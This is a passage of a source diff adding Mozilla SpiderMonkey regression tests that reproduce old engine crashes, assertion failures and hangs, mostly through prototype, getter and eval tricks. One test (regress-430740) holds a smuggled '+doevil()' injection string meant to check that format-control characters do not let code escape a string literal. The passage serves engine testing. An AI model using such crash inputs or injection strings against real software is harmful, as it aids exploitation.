+ try
+ {
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-426711.js b/js/src/tests/non262/extensions/regress-426711.js
new file mode 100644
index 0000000000..8bc3e5854a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-426711.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 426711;
+var summary = 'Setting window.__count__ causes a crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined' && '__count__' in window)
+ {
+ window.__count__ = 0;
+ }
+ else
+ {
+ expect = actual = 'Test skipped. Requires window.__count__';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-427196-01.js b/js/src/tests/non262/extensions/regress-427196-01.js
new file mode 100644
index 0000000000..7b6f359e89
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-427196-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function boom()
+ {
+ var b = {};
+ Array.__proto__ = b;
+ b.__proto__ = {};
+ var c = {};
+ c.__proto__ = [];
+ try { c.__defineSetter__("t", undefined); } catch(e) { }
+ c.__proto__ = Array;
+ try { c.__defineSetter__("v", undefined); } catch(e) { }
+ }
+
+ boom();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-427196-02.js b/js/src/tests/non262/extensions/regress-427196-02.js
new file mode 100644
index 0000000000..c41c431383
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-427196-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function boom()
+ {
+ var c = {__proto__: []};
+ var a = {__proto__: {__proto__: {}}};
+ c.hasOwnProperty("t");
+ c.__proto__ = a;
+ c.hasOwnProperty("v");
+ }
+
+ boom();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-427196-03.js b/js/src/tests/non262/extensions/regress-427196-03.js
new file mode 100644
index 0000000000..6d8a14aeb3
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-427196-03.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var c = {__proto__: []};
+ var a = {__proto__: {__proto__: {}}};
+ c.hasOwnProperty;
+ c.__proto__ = a;
+ c.hasOwnProperty;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-429739.js b/js/src/tests/non262/extensions/regress-429739.js
new file mode 100644
index 0000000000..5c164a2947
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-429739.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 429739;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var actual;
+ try
+ {
+ var o = { __noSuchMethod__: Function };
+ actual = (new o.y) + '';
+ throw new Error("didn't throw, produced a value");
+ }
+ catch(ex)
+ {
+ actual = ex;
+ }
+
+ reportCompare("TypeError", actual.name, "bad error name");
+ reportCompare(true, /is not a constructor/.test(actual), summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-430740.js b/js/src/tests/non262/extensions/regress-430740.js
new file mode 100644
index 0000000000..d6d6e32d04
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-430740.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430740;
+var summary = 'Do not strip format-control characters from string literals';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function doevil() {
+ print('evildone');
+ return 'evildone';
+ }
+
+ expect = 'a%E2%80%8D,+doevil()%5D)//';
+ actual += eval("(['a\\\u200d', '+doevil()])//'])");
+ actual = encodeURI(actual);
+ reportCompare(expect, actual, summary);
+
+ expect = 'a%EF%BF%BE,+doevil()%5D)//';
+ actual = eval("(['a\\\ufffe', '+doevil()])//'])");
+ actual = encodeURI(actual);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-434837-01.js b/js/src/tests/non262/extensions/regress-434837-01.js
new file mode 100644
index 0000000000..16f9450601
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-434837-01.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 434837;
+var summary = '|this| in accessors in prototype chain of array';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x = [ "one", "two" ];
+ Array.prototype.__defineGetter__('test1', function() { actual = (this === x); });
+ x.test1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test1');
+
+ try
+ {
+ expect = false;
+ actual = null;
+ Array.prototype.__defineGetter__('test2', function() { actual = (this === Array.prototype) });
+ x.test2;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test2');
+
+ Array.prototype.__defineGetter__('test3', function() { actual = (this === x) });
+ Array.prototype.__defineSetter__('test3', function() { actual = (this === x) });
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 (1)');
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3 = 5;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 = 5');
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 (2)');
+}
diff --git a/js/src/tests/non262/extensions/regress-435497-01.js b/js/src/tests/non262/extensions/regress-435497-01.js
new file mode 100644
index 0000000000..87b8914413
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-435497-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x, x setter = 0, y; const x; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-435497-02.js b/js/src/tests/non262/extensions/regress-435497-02.js
new file mode 100644
index 0000000000..ac107687ea
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-435497-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x setter = 0, y; const x; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-435497-03.js b/js/src/tests/non262/extensions/regress-435497-03.js
new file mode 100644
index 0000000000..9ea783510f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-435497-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x getter= function(){} ; var x5, x = 0x99; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-436741.js b/js/src/tests/non262/extensions/regress-436741.js
new file mode 100644
index 0000000000..8e85138cf0
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-436741.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 436741;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ print('This test is only meaningful in the browser.');
+ }
+ else
+ {
+ try { window.__proto__.__proto__ = [{}]; } catch (e) {}
+ for (var j in window);
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-437288-01.js b/js/src/tests/non262/extensions/regress-437288-01.js
new file mode 100644
index 0000000000..725554dd52
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-437288-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 437288;
+var summary = 'for loop turning into a while loop';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { const x = 1; for (x in null); })();');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-44009.js b/js/src/tests/non262/extensions/regress-44009.js
new file mode 100644
index 0000000000..253262fe78
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-44009.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 Feb 2001
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=44009
+ *
+ * SUMMARY: Testing that we don't crash on obj.toSource()
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 44009;
+var summary = "Testing that we don't crash on obj.toSource()";
+var obj1 = {};
+var sToSource = '';
+var self = this; //capture a reference to the global JS object -
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj2 = {};
+
+ // test various objects and scopes -
+ testThis(self);
+ testThis(this);
+ testThis(obj1);
+ testThis(obj2);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+// We're just testing that we don't crash by doing this -
+function testThis(obj)
+{
+ sToSource = obj.toSource();
+ obj.prop = obj;
+ sToSource = obj.toSource();
+}
diff --git a/js/src/tests/non262/extensions/regress-443569.js b/js/src/tests/non262/extensions/regress-443569.js
new file mode 100644
index 0000000000..dbfc1d8114
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-443569.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 443569;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", boom, false);
+
+function boom()
+{
+ var r = RegExp.prototype;
+ r["-1"] = 0;
+ Array.prototype.__proto__ = r;
+ []["-1"];
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+
diff --git a/js/src/tests/non262/extensions/regress-446386.js b/js/src/tests/non262/extensions/regress-446386.js
new file mode 100644
index 0000000000..25359054f5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-446386.js
@@ -0,0 +1,44 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446386;
+var summary = 'Do not crash throwing error without compiler pseudo-frame';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx == 'undefined')
+ {
+ print(expect = actual = 'Test skipped. evalcx required.');
+ }
+ else {
+ try
+ {
+ try {
+ evalcx(".");
+ throw "must throw";
+ } catch (e) {
+ if (e.name != "SyntaxError")
+ throw e;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452168.js b/js/src/tests/non262/extensions/regress-452168.js
new file mode 100644
index 0000000000..998ceca951
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452168.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452168;
+var summary = 'Do not crash with gczeal 2, JIT: @ avmplus::List or @ nanojit::LirBuffer::validate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'undefined')
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+ else
+ {
+ // Enumerate the global once before we turn on gczeal, so we're not
+ // trying to do all the enumerate hook object creation with a gc on
+ // every object, because that makes tests time out.
+ for (z in this);
+ gczeal(2);
+
+ var a, b; gczeal(2); (function() { for (var p in this) { } })();
+
+ gczeal(0);
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452178.js b/js/src/tests/non262/extensions/regress-452178.js
new file mode 100644
index 0000000000..360bc273b9
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452178.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452178;
+var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_SHARED)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ Object.defineProperty(this, "q", { get: function(){}, enumerable: true, configurable: true });
+ for (var j = 0; j < 4; ++j) q = 1;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452329.js b/js/src/tests/non262/extensions/regress-452329.js
new file mode 100644
index 0000000000..e2d94944c6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452329.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452329;
+var summary = 'Do not assert: *data->pc == JSOP_CALL || *data->pc == JSOP_NEW';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.__defineGetter__("x", "".match); if (x) 3;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452338.js b/js/src/tests/non262/extensions/regress-452338.js
new file mode 100644
index 0000000000..2b6842fe5e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452338.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452338;
+var summary = 'Do not assert with JIT: obj2 == obj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) __count__ = 3;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452498-162.js b/js/src/tests/non262/extensions/regress-452498-162.js
new file mode 100644
index 0000000000..543c9a1b06
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452498-162.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #162 From Gary Kwong
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Assertion failure: !OBJ_GET_CLASS(cx, proto)->getObjectOps, at ../jsobj.cpp:2030
+
+this.__defineGetter__("x3", Function);
+parseInt = x3;
+parseInt.prototype = [];
+for (var z = 0; z < 4; ++z) { new parseInt() }
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-452498-196.js b/js/src/tests/non262/extensions/regress-452498-196.js
new file mode 100644
index 0000000000..5429b04384
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452498-196.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #196 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: lexdep->isLet(), at ../jsparse.cpp:1900
+
+ (function (){
+ var x;
+ eval("var x; (function () { return x; })");
+ }
+ )();
+
+ reportCompare(expect, actual, summary + ': 2');
+}
diff --git a/js/src/tests/non262/extensions/regress-452565.js b/js/src/tests/non262/extensions/regress-452565.js
new file mode 100644
index 0000000000..6ca0e87c4e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452565.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452565;
+var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_READONLY)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var c = undefined; (function() { for (var j=0;j<5;++j) { c = 1; } })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-452913.js b/js/src/tests/non262/extensions/regress-452913.js
new file mode 100644
index 0000000000..464d403ddf
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452913.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452913;
+var summary = 'Do not crash with defined getter and for (let)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(this.__defineGetter__("x", function (x) { return 'foo'.replace(/o/g, [1].push); }));
+for(let y in [,,,]) for(let y in [,,,]) x = x;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-453249.js b/js/src/tests/non262/extensions/regress-453249.js
new file mode 100644
index 0000000000..910353da9a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-453249.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453249;
+var summary = 'Do not assert with JIT: s0->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__proto__.a = 3; for (var j = 0; j < 4; ++j) { [a]; }
+
+this.a = 3; for (var j = 0; j < 4; ++j) { [a]; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-454744.js b/js/src/tests/non262/extensions/regress-454744.js
new file mode 100644
index 0000000000..a686889d63
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-454744.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454744;
+var summary = 'Do not assert with JIT: PCVAL_IS_SPROP(entry->vword)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ this.__defineGetter__('x', function() { return 2; }); for (var j=0;j<4;++j) { x=1; }
+ }
+ catch(ex)
+ {
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-455380.js b/js/src/tests/non262/extensions/regress-455380.js
new file mode 100644
index 0000000000..f0405621da
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-455380.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455380;
+var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+const IS_TOKEN_ARRAY =
+ [0, 0, 0, 0, 0, 0, 0, 0, // 0
+ 0, 0, 0, 0, 0, 0, 0, 0, // 8
+ 0, 0, 0, 0, 0, 0, 0, 0, // 16
+ 0, 0, 0, 0, 0, 0, 0, 0, // 24
+
+ 0, 1, 0, 1, 1, 1, 1, 1, // 32
+ 0, 0, 1, 1, 0, 1, 1, 0, // 40
+ 1, 1, 1, 1, 1, 1, 1, 1, // 48
+ 1, 1, 0, 0, 0, 0, 0, 0, // 56
+
+ 0, 1, 1, 1, 1, 1, 1, 1, // 64
+ 1, 1, 1, 1, 1, 1, 1, 1, // 72
+ 1, 1, 1, 1, 1, 1, 1, 1, // 80
+ 1, 1, 1, 0, 0, 0, 1, 1, // 88
+
+ 1, 1, 1, 1, 1, 1, 1, 1, // 96
+ 1, 1, 1, 1, 1, 1, 1, 1, // 104
+ 1, 1, 1, 1, 1, 1, 1, 1, // 112
+ 1, 1, 1, 0, 1, 0, 1]; // 120
+
+const headerUtils = {
+normalizeFieldName: function(fieldName)
+{
+ if (fieldName == "")
+ throw "error: empty string";
+
+ for (var i = 0, sz = fieldName.length; i < sz; i++)
+ {
